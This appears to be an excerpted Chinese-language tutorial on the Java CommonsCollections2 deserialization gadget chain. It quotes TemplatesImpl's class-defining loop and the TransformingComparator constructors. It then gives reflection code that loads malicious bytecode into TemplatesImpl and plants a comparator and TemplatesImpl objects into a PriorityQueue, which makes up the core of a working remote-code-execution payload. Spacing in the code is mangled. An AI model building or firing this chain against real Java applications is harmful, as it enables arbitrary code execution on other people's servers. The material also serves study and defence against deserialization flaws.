if (classCount > 1) { _auxClasses = newHashMap<>(); }
for (inti=0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); finalClasssuperClass= _class[i].getSuperclass();
// Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
/** Serialization version from Collections 4.0. */ privatestaticfinallongserialVersionUID=3456940356043606220L;
/** The decorated comparator. */ privatefinal Comparator<O> decorated; /** The transformer being used. */ privatefinal Transformer<? super I, ? extendsO> transformer;
//----------------------------------------------------------------------- /** * Constructs an instance with the given Transformer and a * {@link ComparableComparator ComparableComparator}. * * @param transformer what will transform the arguments to <code>compare</code> */ @SuppressWarnings("unchecked") publicTransformingComparator(final Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); }
/** * Constructs an instance with the given Transformer and Comparator. * * @param transformer what will transform the arguments to <code>compare</code> * @param decorated the decorated Comparator */ publicTransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; }
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(newClass[]{}).newInstance();//反射创建TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,newbyte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,newObject[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl